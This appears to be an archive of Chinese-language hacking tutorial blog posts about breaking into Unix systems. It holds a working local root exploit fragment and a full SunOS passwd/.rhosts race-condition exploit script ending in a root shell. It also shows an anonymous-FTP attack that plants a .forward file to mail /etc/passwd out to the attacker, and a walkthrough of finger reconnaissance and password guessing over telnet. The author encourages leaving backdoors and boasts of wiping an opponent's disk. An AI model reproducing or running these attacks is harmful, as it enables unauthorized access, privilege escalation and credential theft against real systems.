   while (*exec_ptr)
      *(ptr++) = *(exec_ptr++);
   addr_ptr = (long *)ptr;
   *(addr_ptr++) = get_esp()+1139;  /* 0xbffffc01 */

   ptr = (char *) addr_ptr;
   *ptr = 0; /* must end with null byte to terminate string */
   putenv(env);
   system("/bin/mount $WOOT");
}

----------- cut he_leshka.c;cc -o /tmp/smtpd smtpd.c
./leshka
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1`
rm leshka.c leshka smtpd.c /tmp/smtpd
cd /tmp
sh
------------ cut here


用chmod為文檔加上運行權限(+x):

chmod +x sm.sh

 

然後:

1.運行此文件

2.它把你帶到/tmp目錄中

3.輸入ls -al 看在那裡是否有SUID sh 文件。如果有,用whoami看自己是否是root,如果是的話,就運行./sh文件,這回你可看一看你是不是root了;)

我會在附錄裡放更多的腳本程序,但目前這是取得linux和BSD上的root權限的最好方法。如果你需要其它的BSD裡的exploit(可利用漏洞),可試一試附錄裡的crontab exploit for BSD.

Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

[前言]

不知道怎麼一回事!!最近喜歡玩電腦的人是越來越多了..今天我在聊天室遇到一個17歲的男孩子.我問他說你喜不喜歡玩電腦呢??他回答說對阿.我問他說你喜歡玩網路的什麼的時候~~唉..他竟然說:『入侵』!!老實說,我覺得滿感慨的哩.好像現在玩電腦的青少年都對入侵很有興趣..也不知道是為什麼.或許只是為了要擁有"hacker"這個名號吧!!

據我的觀察和經驗ㄚ.玩入侵的人大多數都跟是想證明自己跟其他人是不一樣的.而玩入侵的人可能只是單純為了好玩的樂趣.但是有時也是因為在現實生活的挫折,所以才把怨恨都往網路這個虛擬世界來發洩!!事實上Love-gone也跟玩入侵的人差不多啦..呵呵 :-)

要當一個駭客是不容易的事哩!而最重要的是要有鄔心和毅力...當然經驗也是很重要的啦.

對於想當一個駭客的人而言.給他魚吃不如給他一根釣竿!!所以ㄚ,知道如何成為一個駭客的技巧是非常重要的哩..


[主題]

如何成為一個駭客

[困難度]

非常簡單

[說明]

以下的一些方法是我自己和我所認識的駭客們的感想和經驗!對於一個想成為駭客的人,或是已經是駭客了,但是想要成為更頂尖的駭客們來說是非常寶貴的經驗和學習方向!

[開始]

成為一個駭客老實說並不是一件很困難的事哩!
但是也不是一件輕鬆的事哩!因為這是一條漫長的路,所須要的是你的恆心和毅力.當然啦!!你的恆心和毅力要從那裡才可以得到呢?? 當然是從你對電腦的熱愛和對入侵的執著啦!
所以如果你對電腦和入侵並沒有什麼太大的慾望的話..那麼你還是別在這裡浪費你的時間羅!


******時間的取得*******

我說過了.當一個駭客最重要的是要有足夠的時間讓你去做充分的練習.然而,在現在這種雞不生蛋鳥不拉屎的年代裡,有永遠做不完的事哩!!要如何才可以去取得充分的時間呢??
我們的老闆(就是上天啦!!GOD)給大家的時間都是一樣的,一天24小時.
嘿嘿 !! 在此我就說說我玩電腦的時間來給大家當做是參考吧...當然啦!!最重要的是你要知道運用時間的技巧ㄚ..每個人的坐習都是不一樣的,而且職業也是不一樣ㄚ..所以練習的時間就要自己去調整啦!!!
因為love-gone是一個可憐的學生.每天都要去上學..所以我就從我上學時間開始說我玩電腦的時間吧!!

6:00----起床(好想賴床喔)
6:35----等校車來接我(有一個漂亮的學妹跟我一起等說..呵呵)
7:30----到學校讀書了(看到我美麗的老婆 :-D )
5:50----到家(回家快吃吃飯)
6:15----打開電腦,開始我的模擬終端機的入侵!!!
02:00----哇!!好晚了..好玩的時光總是過的快..趕快把握時間繼續的
努力..在網路堆疊裡繼續奮鬥!!我是夜晚的鬥士(有神經質)
04:15----哇!不行了..明天還要上學...依依不捨的去睡覺了..結束了
今天的網路生活.
6:00----起床(還是想賴床..但是想到學校漂漂的老婆.趕快起床)

我的生活就是如此簡單啦!!每天打9個小時的電腦..老實說,有一陣子都是3天才睡一次的哩!!因為入侵到天明,還來不及去睡覺太陽公公就來了.但是這是我個人的生活啦!而且這樣子的生活是不正常的,所以你們還是別那麼瘋狂,對身體有害!!
我認識的許多駭客高手們的生活習慣都跟我差不多,因為我們對於入侵有很大的熱忱!!
但是這樣是不好的,因為這樣對你現實生活是百害而無一益的哩!!


******資訊的取得*******

資訊的取得對於一個駭客是很重要的!
隨時取得最新的資訊,才可以讓你擁有最新的技術!!駭客們要常常注意的是新的系統漏洞,新的系統資訊,新的網路走向...等等的資訊.而如何才能得到這些資訊呢??

1.收集超多的搜尋引擎,讓你可以找到各種站台
(建議你做一個html,裡面放許多搜索引擎的超連節)
2.新聞群組,讓你掌握最新議題
(這是最簡單也是最方便的方法)
3.訂有關係統資訊的e-mail
(大多數的都是免費,而且這是我各人認為最好的管道!!因為它隨時提供你最新系統資訊)
4.認識相同興趣的人,一起練習,互相討論心得.
(這是好方法!!!!可以去熟悉每一個駭客的入侵手法)
5.多看書
(尤其是網路和系統安全的書,這個方法是很重要的步驟.要先打好基礎這樣才能當一個快樂的駭客嘛!!)
6.平時就要知道那幾個駭客站台或是系統站台是好的..這樣要找資料也方便!!
(事實上,系統安全工作室就是一個好站台了嘛!!呵呵...真是老王賣瓜自賣自誇)
7.你每入侵一個地方就要把那個地方對你有用的東西和資料都copy起來.


******如何找到駭客*******

如果你想要找駭客出來一起討論研究心得的話.
你可以用ICQ或是到聊天室去找利害的人.最好的方法就是做一個自己的網頁,這樣就會有駭客會連絡你了!
據我的經驗呢.在聊天室裡會說自己很利害的都不是真的很利害的駭客.那些人只是玩玩小把戲或是玩當機的遊戲的小毛頭罷了!!所以在聊天室,你要找的是對電腦系統或網路有心得和知識的人.而不是稱自己是駭客的人.


******駭客的一些特徵*******

就像我以前說的,會想當一個駭客的人有兩種.一種是對電腦有強烈熱忱的人,一種是為了逃避現實世界而把自己淹沒在虛擬世界的人.老實說, Love-gone是介於兩者之間.
駭客們大多數只要聽到有人談論有關電腦的事就會靠過去跟人家討論.而且,大多數的頂尖駭客對自己都非常的有信心,但是人際關係不太好!!因為整天都做在模擬終端機前.

[感言]

Love-gone覺得機器(電腦)只是一個工具.你要懂得如何去控制電腦,而不是讓電腦來駕馭你,知道嗎?
老實說,Love-gone老是覺得自己已經得到了網癮症..唉..真可憐. 雖然未來的走向是,能擁有電腦系統和網路技術的人就能領導群雄創造未來.但是也不要把自己迷失在科技的沙漠裡才好.留一點時間給你的家人,也留一點時間去開創你現實的生活不是很好嗎?
Love-gone當駭客也有一段時間羅!!對於這門子的事總是有很多感慨哩!Love-gone當初也想不到自己會當一個駭客的.

*NOTE: Love-gone最近喜歡去好樂迪唱歌,住高雄的人.如果要請我的話就聯絡我,知道嗎?

Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

[前言]

對於著作這份文章的目的並不是在於教育.因為個人覺得台灣的網路雖然已經有所發展了...但是對於網路安全的重要性卻是漠不關心..或者是沒有足夠的知識....這是相當危險的一個現象..就算是大專院校.政府機構.公司行號...甚至是網路業者.ISP對於網路安全和系統管理的正確觀念和態度實在是相當缺乏...所以說不定在往後的日子裡,只要一台cp和一台數據機,就可以讓整個台灣網路崩潰....甚至是引起經濟危機!!就像是一個小孩子拿著一把槍在路上逛一樣...Too Bad!!所以我寫這篇文章純粹是為了台灣網路安全而寫的.並不希望有人因為這篇文章而去做違法的事情~~尤其是破壞別人的系統或是檔案!!
當然啦~如果有人因此做了違法的事情,本人概不負責!!!
"水能載舟也覆舟"....只是告訴你駭客是如何入侵你的系統.
最近看到電視上都有在做布魯斯威力的[終極密碼戰]的廣告片..覺得很不錯.跟以前有一片叫做[網路上身 In Net]的片子感覺差不多...都是好看的電影..BUT Love-gone就是沒有錢去看電影 >___<" too bad!!嗚~~Love-gone現在只是一個窮書生罷了..
最近很喜歡在網路上找realplayer的檔案...變的很喜歡聽歌.喜歡聽情歌.套一句話....[愛讓人變的好憂鬱]...嗚嗚.....[忽然間發現自己已經深深愛上你]..[i love u ..yes i do..]

[主題]

如何取得最高權限來控制整個系統...就是變成root啦!!

[困難度]

還可以

[說明]

以Love-gone自己的經驗來說,我覺得UNIX中最難取得最高權限(root)的系統版本是SUNOS的除了它因為是企業版的經過相當嚴密的安全性考量.最重要的是大多數使用SUNOS的root都對系統的設定管理的很好...也不知道為什麼.因為使用SUNOS的主機都是政府機構.學校..等等的公家機關..所以都還重視系統的安全..但是還是沒有絕對安全的系統!!

[開始]

對於passwd的指令應該大家都相當清楚了,就是用來更改密碼用的.而在執行passwd這個指令的時候./etc/passwd的檔案擁有者就從root變成了user.於是user就擁有root的權限,可以對passwd做更改的動作!!再利用.rhosts的功能..相信大家應該也相當清楚.rhosts和host.equiv的功能了...呵呵.這樣會不會太混了 :-)
在SUNOS4.1.X版中的passwd和.rhosts的功能相加起來就可以有一個相當大的系統漏洞啦..可以讓你變成系統中的任何一個帳號..當然也可以變成root :-)
以下是方法..

Lovegone>% (先寫一個script)

Lovegone>% cat >shitfile

#!/bin/sh
# 格式: passwdscript 欲變成的使用者帳號
#
PATH=/usr/ucb:/usr/bin:/bin export PATH
IFS=" " export IFS
PROG="`basename $0`"
if [ $# -ne 1 ]; then
echo "Syntax: $PROG user target-file rsh-user"
exit 1
fi
TARGET_USER="$1"
if [ "x`uname -s`" != "xSunOS" ]; then
echo "Sorry, this only works on SunOS"
exit 1
fi
cat > passwdrace.c << 'EOF'
#include
#include
#include
#include
#include
#include
#include
main(argc, argv)
int argc;
char *argv[];
{
FILE *passwd_in, *passwd_out;
int race_child_pid = -1;
struct stat st;
struct passwd *pw;
char pwd_link[256], pwd_dir[256], pwd_file[256], ptmp[256],
buf[1024], cmd[256], nowhere[256], nowhere2[256],
dir[256];
if (argc != 2) {
fprintf(stderr, "Usage: %s target-user\n",
argv[0]);
exit(1);
}
if ((pw = getpwnam(argv[1])) == NULL) {
fprintf(stderr, "%s: user \"%s\" doesnt seem to exist.\n",
argv[0], argv[1]);
exit(1);
}
strcpy(dir, pw->pw_dir);
sprintf(pwd_link, "/tmp/passwd-link.%d", getpid());
sprintf(pwd_dir, "/tmp/passwd-dir.%d", getpid());
sprintf(nowhere, "/tmp/passwd-nowhere.%d", getpid());
sprintf(nowhere2, "/tmp/passwd-nowhere2.%d", getpid());
sprintf(ptmp, "%s/ptmp", dir);
symlink(pwd_dir, pwd_link);
mkdir(pwd_dir, 0700);
sprintf(pwd_file, "%s/.rhosts", pwd_dir);
if ((passwd_out = fopen(pwd_file, "w+")) == NULL) {
fprintf(stderr, "Cant open %s!\n", pwd_file);
exit(1);
}
if ((passwd_in = fopen("/etc/passwd", "r")) == NULL) {
fprintf(stderr, "Cant open /etc/passwd\n");
exit(1);
}
if ((pw = getpwuid(getuid())) == NULL) {
fprintf(stderr, "Who are you?\n");
exit(1);
}
fprintf(passwd_out, "localhost %s ::::::\n", pw->pw_name);
for (;;) {
fseek(passwd_in, 0L, SEEK_SET);
while(fgets(buf, sizeof(buf), passwd_in))
fputs(buf, passwd_out);
if (ftell(passwd_out) > 32768)
break;
}
fclose(passwd_in);
fflush(passwd_out);
if ((race_child_pid = fork()) < 0) {
perror("fork");
exit(1);
}
if (race_child_pid) {
sprintf(pwd_file, "%s/.rhosts", pwd_link);
puts("Wait until told you see \"Enter your password now!\"");
sprintf(cmd, "/usr/bin/passwd -F %s", pwd_file);
system(cmd);
kill(race_child_pid, 9);
exit(0);
} else {
int fd = fileno(passwd_out);
time_t last_access;
if (fstat(fd, &st)) {
perror("fstat");
exit(1);
}
last_access = st.st_atime;
sleep(5);
write(0, "Enter your password now!\n",
sizeof("Enter your password now!\n"));
unlink(pwd_link);
symlink(dir, pwd_link);
symlink(pwd_dir, nowhere);
symlink(dir, nowhere2);
while ((open(ptmp, O_RDONLY)==-1));
rename(nowhere, pwd_link);
while (last_access == st.st_atime)
fstat(fd, &st);
rename(nowhere2, pwd_link);
}
}
EOF
cc -O -o passwdrace passwdrace.c
if [ ! -x "passwdrace" ]; then
echo "$PROG: couldnt compile passwdrace.c - check it out"
exit 1
fi
./passwdrace $TARGET_USER
rsh localhost -l $TARGET_USER sh -i
exit 0
^c (這是存檔喔..別把^c當成是shitfile...應該沒有人會那麼笨吧!!)

Lovegone>% chmod 700 shitfile

(讓shitfile能執行..到此已經完成90%了)

Lovegone>% shitfile root

(執行shitfile...shitfile的語法是在shitfile後keyin你要變成的帳號)

Wait until you see "Enter your password now!"
Changing password for Love-gone on SunOs 4.1.X
Old password: (打你原來那個帳號的密碼)
New password: (打你女友的英文名字...男友不能..嘻嘻.)
Retype new password: (你女友的英文名字)

root># pwd
/

(你看發生了什麼事....千萬不要去破壞人家的系統喔....)
(為了別人著想,請留下後門讓大家共同分享)
(希望各位駭鄉親們不要用shitfile來做壞事喔..)


[感言]

最近很多人喜歡在聊天室裡面用炸彈炸人家..嗚嗚..真是太不道德了!!而且還以為這樣就是很利害的駭客了..我哩%#@)*勒...白疑!!我覺得用tcp/ip和icmp的原理來做一些炸彈來攻擊別人是很不道德的!!況且人家正聊的開心中...當機是惡夢!上次我在irc聊天的時候.
有一個白疑(我是不是很沒有口德)攻擊我..哇.既然他那麼喜歡攻擊.那我就讓他攻擊的過癮!!嘿嘿..他的下場是整個硬碟的資料都被format了..嘿嘿..我想這樣他應該就會停止這種愚蠢的攻擊行為了吧...但是我覺得自己做的有點過份..嗚..真是深感罪惡....再也沒有見到那個人來聊天室了!所以希望大家最好不要去炸人家,否則踢到鐵板就不好玩了..
哇..突然覺得自己有點壞..改進改進!!嗚~~愛讓人變的好憂鬱...

Posted by DeepSe@ at 痞客邦 PIXNET 留言(1) 引用(0) 人氣()

[前言]

對於著作這份文章的目的並不是在於教育.因為個人覺得台灣的網路雖然已經有所發展了...但是對於網路安全的重要性卻是漠不關心..或者是沒有足夠的知識....這是相當危險的一個現象..就算是大專院校.政府機構.公司行號...甚至是網路業者.ISP對於網路安全和系統管理的正確觀念和態度實在是相當缺乏...所以說不定在往後的日子裡,只要一台cp和一台數據機,就可以讓整個台灣網路崩潰....甚至是引起經濟危機!!就像是一個小孩子拿著一把槍在路上逛一樣...Too Bad!!所以我寫這篇文章純粹是為了台灣網路安全而寫的.並不希望有人因為這篇文章而去做違法的事情~~尤其是破壞別人的系統或是檔案!!
當然啦~如果有人因此做了違法的事情,本人概不負責!!!
"水能載舟也覆舟"....只是告訴你駭客是如何入侵你的系統.
好像說要做F&Q..如果位對於網路系統安全有問題的可以寫信來問我!!當然我也不是GOD不是說每一個問題我一定會~~但是我會盡力回答每一個人的問題,並不會說不知道就假裝沒看到這個問題,ok?

[主題]

匿名FTP的漏洞 (Anonymous FTP)

[困難度]

普通

[說明]

目前有很多的主機都有提供匿名FTP的服務,而方便和安全性卻是魚與熊掌不能兩得的!!就像我以前說的,現在的系統管理員大多數都是缺少專業觀念的!!!對於FTP也是一樣,很多系統管理員都為了避免麻煩就用系統的預設設定來提供FTP這個服務.而anonymous ftp卻是有許多漏洞須要我們去探討的.

哇~~今天說話的口氣怎麼變得好專業阿!!

[開始]

今天就先說明一下台灣目前anonymous ftp最常犯的錯誤!然而這些錯誤卻常常是系統安全的大漏洞.

一開始先說明怎麼把整個/etc/passwd抓回來.再說明如何任意的不用密碼就能進入系統.

如果ftp的根目錄是可以寫入的或是可以執行程式.那你就可以把系統的/etc/passwd給抓回來了!!方法就是先做一個傳送檔 .forward,然後ftp到主機上用anonymous進入.把你做的.forward 上傳到它的根目錄下.確定上傳完畢後就可以離開了!在寄一封e-mail給那個主機的anonymous的帳號..大多帳號是ftp!然後你就可以去收收你的信箱了..什麼還不懂阿?
意思就是說/etc/passwd已經傳到你的信箱了啦!趕快存好,拿約翰出來跑路吧!!

其方法說明如下:



SunOS 5.6

login: lovegone
Password:
Last login: Sat May 16 19:07:41 from 11.22.203.122
tcsh: getwd: Cannot open directory "../" (Permission denied)
tcsh: Trying to start from "/home/judge4"
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
Copyright by Andrew Chen 98/01/07
You have new mail.
#

(嘿嘿..先連到我的中間伺服器! 有人問說[一定要先有一個主機來當中間伺服器才能hack別人的主機嗎?].當然不是這個意思啦!先連上中間伺服器只是要用來掩飾自己的ip嘛!而且可以利用中間伺服器來使用Net-Man2所說的那些"中間動作"阿!!所以中間伺服器不是說一定要用,但是卻是很重要喔..)


# finger @www.fuck.com.tw

[cc.fuck.com.tw]
Login Name TTY Idle When Where
root Super-User console 10: Tue 09:05 :0

(沒人在家...真好)


# ftp www.fuck.com.tw
Connected to cc.fuck.com.tw.
220 cc FTP server (Version wu-2.4(1) Thu May 30 18:00:41 CST 1996) ready.
Name (www.fuck.com.tw:lovegone): anonymous (或是ftp,只要先匿名進去就好了)
331 Guest login ok, send your complete e-mail address as password.
Password:
230-
230- ###### ##### #####
230- # # # #
230- ##### # # #
230- # # #####
230- # # #
230- # # #
230-
230- **** 歡迎到fuck爛公司 ****
230-
230- IE40 : pub/ie40 : 正式版.非搶鮮版
230- pub/ie40zip: ie40 zip.
230-
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

(不愧是fuck爛公司.連ftp也都是wu-2.4的..漏洞大的"狠")


ftp> pwd
257 "/" is current directory.

(看一下自己在那裡,因為有些ftp會一開始就在帳號的工作目錄下.我們要確保是在根目錄下!如果不是在根目錄下的人就用cd ..就可以到根目錄了)

ftp> ls

(看根目錄的設定)

200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 18
drwxr-xr-x 7 fuck Taiwan 512 Oct 16 1997 .
drwxr-xr-x 7 fuck Taiwan 512 Oct 16 1997 ..
lrwxrwxrwx 1 fuck Taiwan 7 Jun 17 1997 bin -> usr/bin
dr-xr-xr-x 2 fuck Taiwan 512 May 31 1996 dev
d--x--x--x 2 fuck Taiwan 512 May 31 1996 etc
dr-xr-xr-x 15 ftp Taiwan 512 Feb 13 03:40 pub
drwxr-xr-x 2 ftp Taiwan 512 Apr 13 05:59 upload
drwxr-xr-x 5 fuck Taiwan 512 May 31 1996 usr
-rw-r--r-- 1 fuck Taiwan 488 Oct 8 1997 welcome.msg
226 Transfer complete.

("狠"好!根目錄是drwxr-xr-x 可以執行程式.趕快去做一個.forward吧!!!)

ftp> bye
Goodbye!

# echo "|/bin/mail Lovegone@ms7.accmail.com.tw" > shit

(用echo和輸出導向就可以了..)

# ls -la


total 26
drwxr-xr-x 4 lovegone users 1024 May 14 13:56 ./
drwxr-xr-x 47 root root 1024 Nov 26 14:08 ../
-rw-r--r-- 1 lovegone users 2217 May 14 13:56 .bash_history
-rw-r--r-- 1 lovegone users 164 Jun 10 1996 .kermrc
-rw-r--r-- 1 lovegone users 34 Jun 7 1993 .less
-rw-r--r-- 1 lovegone users 114 Nov 24 1993 .lessrc
drwxr-xr-x 2 lovegone users 1024 Jun 10 1996 .term/
-rw-rw-r-- 1 lovegone users 6116 May 7 1997 m-2.gif
-rw------- 1 lovegone users 9382 May 14 13:49 mbox
drwxr-xr-x 8 lovegone users 1024 Jul 28 1997 public_html/
-rw-r--r-- 1 lovegonw users 8 Jul 5 1998 shit

(ok了!!接下來就是把shit上傳到www.fuck.com.tw上當.forward)

# ftp www.fuck.com.tw
Connected to cc.fuck.com.tw.
220 cc FTP server (Version wu-2.4(1) Thu May 30 18:00:41 CST 1996) ready.
Name (www.fuck.com.tw:lovegone): anonymous (或是ftp,只要先匿名進去就好了)
331 Guest login ok, send your complete e-mail address as password.
Password:
230-
230- ###### ##### #####
230- # # # #
230- ##### # # #
230- # # #####
230- # # #
230- # # #
230-
230- **** 歡迎到fuck爛公司 ****
230-
230- IE40 : pub/ie40 : 正式版.非搶鮮版
230- pub/ie40zip: ie40 zip.
230-
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> put shit .forward

(上傳記得要改成 .forward才行,別在用shit)

200 PORT command successful.
226 Transfer complete.

ftp> bye
Goodbye!

(寄一封信給anonymous這個帳號..然後去收收你的信箱吧!)


[Love-gone的話]

想不到竟然只說了利用 .forward來傳/etc/passwd的方法!至於任意進出系統而不用密碼的方法就只好等下次再說了...別說我又偷懶了!

最近都沒有繼續的寫文章了,必竟hack只是興趣而已!而生活中卻有很多事要做..好累人 :-(雖然hack只是興趣,但是love-gone卻是很認真的喲 !! love-gone希望以後能夠從事跟電腦相關的工作,但是台灣的填鴨式教育卻讓love-gone很吃力 :-(

希望love-gone還是能有空來幫喜歡hack的朋友寫文章或回答問題 :-)

[感言]

還是老話一句...系統漏洞大都都是人為的疏失!!這是很重要的一點,希望是系統管理員的讀者看到這文章能有所改進.

Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

[前言]

對於著作這份文章的目的並不是在於教育.因為個人覺得台灣的網路雖然已經有所發展了...但是對於網路安全的重要性卻是漠不關心..或者是沒有足夠的知識....這是相當危險的一個現象..就算是大專院校.政府機構.公司行號...甚至是網路業者.ISP對於網路安全和系統管理的正確觀念和態度實在是相當缺乏...所以說不定在往後的日子裡,只要一台cp和一台數據機,就可以讓整個台灣網路崩潰....甚至是引起經濟危機!!就像是一個小孩子拿著一把槍在路上逛一樣...Too Bad!!所以我寫這篇文章純粹是為了台灣網路安全而寫的.並不希望有人因為這篇文章而去做違法的事情~~尤其是破壞別人的系統或是檔案!!
當然啦~如果有人因此做了違法的事情,本人概不負責!!!
"水能載舟也覆舟"....只是告訴你駭客是如何入侵你的系統.

[主題]

入侵的.."中間動作"

[困難度]

普通

[說明]

資訊對當一個駭客而言是相當重要的...所以搜集你所要攻擊or入侵的系統的相關資訊是你在入侵時相當重要的一環!!你會不會對於"進入"一個主機感到非常非常的頭痛呢???因為總是無法正確的知道系統內所設定的一些設定值..例如對於帳號和密碼的一些限定~~像有些系統的密碼就規定要用6到8個字元,其中要有2個英文字母和至少一個數字或特殊字元.
哈哈...所以說到這裡嘛!就有所謂的"中間動作"了!!"中間動作"就是利用系統的一些網路服務來系統搜集有關係統的設定...可用的網路服務有finger.showmount.rpcinfo.DNS.whois.甚至是sendmail.ftp.uucp.....等等

以下就會對於目前較常用的"中間動作"來進行示範.

[開始]

當然啦!!為了不讓別人用逆流法來查出我們的真正ip..所以我們必須還是要一開始就先連線到中間伺服器.所以一開始我先telnet到www.bad.net.tw!!而我今天要攻擊的主機是www.cry.com.tw!!哇..別怕別怕啦..那不是真的主機的ip..那是已經被我改過的了...好吧!廢話不多說..


UNIX(r) System V Release 4.0 (bad)

login: lovegone

Password:

No directory! Logging in with home=/
Last login: Thu May 21 00:45:42 on pts/0
Sun Microsystems Inc. SunOS 5.5.1 Generic May 1996
You have mail.
# who

(養好好習慣~一開始要確定中間伺服器安不安全...否則小心有人從後面偷襲你喔!!)

lovegone pts/1 May 21 00:49 (111.222.333.444)

(很好很好..很安靜..都沒有人在!!趕快去執行今天的任務吧!)

#finger @www.cry.com.tw

(先是用finger去看看現在www.cry.com.tw上有那些帳號在上面----finger是最常用的"中間動作"!!由此可知finger也是相當危險的一種網路服務,但是大多數的UNIX都有提供)

[www.cry.com.tw]

Login Name TTY Idle When Where
root Super-User console 3d Wed 15:19 :0
rose cathy co 1d Wed 10:20 (ms100.hinet.net)
judge7 judge7 ?? 1d Wed 8:21 (210.210.22.369)
catman catman p3 ?? (:0.0)
cop kingtell p1 May 30 15:58 (223.26.6.25)
bbs BBS user co 5:47 May 30 09:49 (h68.s11.ts.hinet)
bbs BBS user ?? 195d Mar 30 20:10 (bbs.444.net.tw)

(哇塞~~人還真多ㄚ....像這種主機最好入侵了.)
(接下來呢?? 當然是利用剛才看到的帳號去login看看ㄚ..)

#telnet www.cry.com.tw

(馬上telnet到你要入侵的那個主機上)


Trying 555.666.777.888...
Connected to www.cry.com.tw.
Escape character is '^]'.


login: rose (先從第一個開始試..)
Password: (密碼就跟帳號一樣好了..)
Login incorrect

login: rose (我再試...)
Password: (在次密碼就打剛才finger所得到的rose的真名)
Login incorrect

login: guest (忍不住用這個看看..)
Password:

Connection closed by foreign host.

(今天真衰.....唉.繼續試剛才還沒試的那些帳號吧!!)

#telnet www.cry.com.tw



Trying 555.666.777.888...
Connected to www.cry.com.tw.
Escape character is '^]'.



login: judge7 (試第二個帳號..)
Password: (既然他帳號和真名都是judge7..不用說了,一定要打judge7來試)
Login incorrect(我哩^#!&&^!**)

login: cop
Password: (用cop當帳號看看..)
Login incorrect

login: cop
Password: (換用kingtell看看)

Connection closed by foreign host.

(想哭了..嗚..嗚.)

#telnet www.cry.com.tw


Trying 555.666.777.888...
Connected to www.cry.com.tw.
Escape character is '^]'.



login: catman (最後一個...因為bbs不可能)
Password: (也是catman)
Linux 2.0.29.
You have mail.


$id

(看一下自己的身份是....)

uid=529(catman) gid=100(users) groups=100(users)

$cd /
$ls -la

(看一下根目錄下有什麼??)


total 41420
drwxrwxrwx 23 root root 1024 Mar 31 18:23 .
drwxrwxrwx 23 root root 1024 Mar 31 18:23 ..
-rw-rw-rw- 1 root root 125 Apr 1 18:36 .FGDLog
-rw------- 1 root other 149 Mar 31 18:23 .Xauthority
-rw-r--r-- 1 root other 941 Dec 2 13:07 .desksetdefaults
drwx------ 2 root other 512 Dec 2 13:07 .fm
-rw-r--r-- 1 root other 588 Dec 2 13:14 .profile
drwxr-xr-x 2 root other 512 Dec 2 12:27 .wastebasket
-r-------- 1 root other 44 Mar 31 18:23 .xsun.kccdns:0
drwxr-xr-x 2 root root 512 Dec 2 12:27 TT_DB
lrwxrwxrwx 1 root root 9 Dec 2 10:59 bin -> ./usr/bin
-rw-r--r-- 1 root other 121 Dec 2 13:40 count
drwxrwxr-x 16 root sys 4096 Apr 1 18:36 dev
drwxrwxr-x 4 root sys 512 Dec 2 12:19 devices
drwxrwxr-x 24 root sys 3072 May 2 14:56 etc
-rw-r--r-- 1 root other 1721344 Dec 2 14:03 etc.tar
-rw-r--r-- 1 root other 1618944 Dec 2 12:28 etcc.tar
drwxrwxr-x 5 root sys 512 Dec 2 11:48 export
dr-xr-xr-x 2 root root 2 May 21 01:09 home
drwxr-xr-x 9 root sys 512 Dec 2 10:59 kernel
lrwxrwxrwx 1 root root 9 Dec 2 10:59 lib -> ./usr/lib
drwx------ 2 root root 8192 Dec 2 10:55 lost+found
drwxr-xr-x 6 root root 1024 May 20 15:29 mnt
dr-xr-xr-x 2 root root 2 May 21 01:09 net
drwxrwxr-x 11 root sys 512 Dec 2 13:01 opt
drwxr-xr-x 3 root sys 512 Dec 2 11:01 platform
dr-xr-xr-x 2 root root 7616 May 21 01:09 proc
drwxrwxr-x 2 root sys 512 Dec 2 11:47 sbin
drwxrwxrwt 3 sys sys 230 May 21 01:00 tmp
drwxrwxr-x 33 root sys 1024 Dec 2 13:31 usr
drwxrwxr-x 21 root sys 512 Dec 2 12:22 var
-rw-r--r-- 1 root other 17759744 Dec 2 14:05 var.tar
dr-xr-xr-x 6 root root 512 Apr 1 18:36 vol
dr-xr-xr-x 2 root root 2 May 21 01:09 xfn

$cd etc
$pwd

(確定一下)

/etc
$ls -la


total 432
drwxrwxr-x 24 root sys 3072 May 2 14:56 .
drwxrwxrwx 23 root root 1024 Mar 31 18:23 ..
-rw-r--r-- 1 root sys 516 May 3 1996 .login
-rw-r--r-- 1 root root 0 Apr 1 18:36 .mnttab.lock
-r--r--r-- 1 root root 0 Dec 2 12:50 .name_service_door
-rw-r--r-- 1 root root 8805 Dec 2 12:21 .obp_devices
-rw-rw-rw- 1 root root 0 May 2 14:56 .pwd.lock
-rw-rw-r-- 1 root other 213 Dec 2 12:22 .sysIDtool.state
lrwxrwxrwx 1 root root 14 Dec 2 12:47 TIMEZONE -> ./default/init
drwxrwxr-x 2 adm adm 512 Dec 2 12:03 acct
lrwxrwxrwx 1 root root 14 Dec 2 12:47 aliases -> ./mail/aliases
-rwxr--r-- 1 root sys 360 Dec 2 12:03 asppp.cf
-rw-r--r-- 1 root bin 50 Dec 2 11:00 auto_home
-rw-r--r-- 1 root bin 94 Dec 2 11:00 auto_master
lrwxrwxrwx 1 root root 16 Dec 2 12:47 autopush -> ../sbin/autopu
sh
lrwxrwxrwx 1 root root 18 Dec 2 12:47 chroot -> ../usr/sbin/chro
ot
lrwxrwxrwx 1 root root 16 Dec 2 12:47 clri -> ../usr/sbin/clri
lrwxrwxrwx 1 root root 17 Dec 2 12:47 crash -> ../usr/sbin/crash
lrwxrwxrwx 1 root root 16 Dec 2 12:47 cron -> ../usr/sbin/cron
drwxr-xr-x 2 root sys 512 Apr 1 18:36 cron.d
-r--r--r-- 1 root sys 446 May 3 1996 datemsk
lrwxrwxrwx 1 root root 17 Dec 2 12:47 dcopy -> ../usr/sbin/dcopy
drwxrwxr-x 2 root sys 512 Dec 2 12:19 default
-rw-r--r-- 1 root other 13 Dec 2 13:19 defaultrouter
-r--r--r-- 1 root root 2700 Dec 2 12:23 device.tab
-rw-r--r-- 1 root sys 4006 Dec 2 12:16 devlink.tab
drwxrwxr-x 2 root sys 512 Dec 2 11:00 dfs
-r--r--r-- 1 root sys 414 Dec 2 12:23 dgroup.tab
-rw-r--r-- 1 root other 649 Dec 2 12:19 driver_aliases
-rw-r--r-- 1 root sys 245 Dec 2 11:00 driver_classes
-rw-rw-r-- 1 root sys 0 Dec 2 11:00 dumpdates
lrwxrwxrwx 1 root root 14 Dec 2 12:47 ff -> ../usr/sbin/ff
lrwxrwxrwx 1 root root 19 Dec 2 12:47 fmthard -> ../usr/sbin/fmt
hard
lrwxrwxrwx 1 root root 18 Dec 2 12:47 format -> ../usr/sbin/form
at
-rw-r--r-- 1 root sys 14434 Dec 2 12:19 format.dat
drwxrwxr-x 6 root sys 512 Dec 2 10:59 fs
lrwxrwxrwx 1 root root 16 Dec 2 12:47 fsck -> ../usr/sbin/fsck
